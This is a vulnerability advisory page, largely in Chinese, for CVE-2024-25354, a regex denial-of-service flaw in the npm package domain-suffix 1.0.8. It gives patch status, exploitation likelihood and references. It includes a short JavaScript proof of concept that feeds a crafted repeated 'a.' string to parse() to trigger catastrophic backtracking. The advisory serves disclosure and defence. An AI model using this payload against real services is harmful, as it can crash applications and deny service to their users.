CVE-2024-25354

描述

RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. ## PoC ```js async function exploit() { const domainsuffix = require(\"domain-suffix\"); // Crafting a string that will cause excessive backtracking const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\" const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```

如何修補 CVE-2024-25354

目前尚未發布修補版本。可考慮移除受影響套件,或參考下方連結中的上游建議。

• —未列出修補版本

CVE-2024-25354 正在被利用嗎?

低 — EPSS 為 0.2%,目前沒有觀察到大規模利用活動。

受影響套件(1)

• from 0, <= 1.0.8

CVSS 分數

參考連結(4)

• ADVISORYnvd.nist.gov/vuln/detail/CVE-2024-25354
• PATCHgithub.com/ikrong/domain-suffix
• WEBgist.github.com/6en6ar/c3b11b4058b8e2bc54717408d451fb79
• WEBgithub.com/ikrong/domain-suffix/blob/master/src/domainSuffix.ts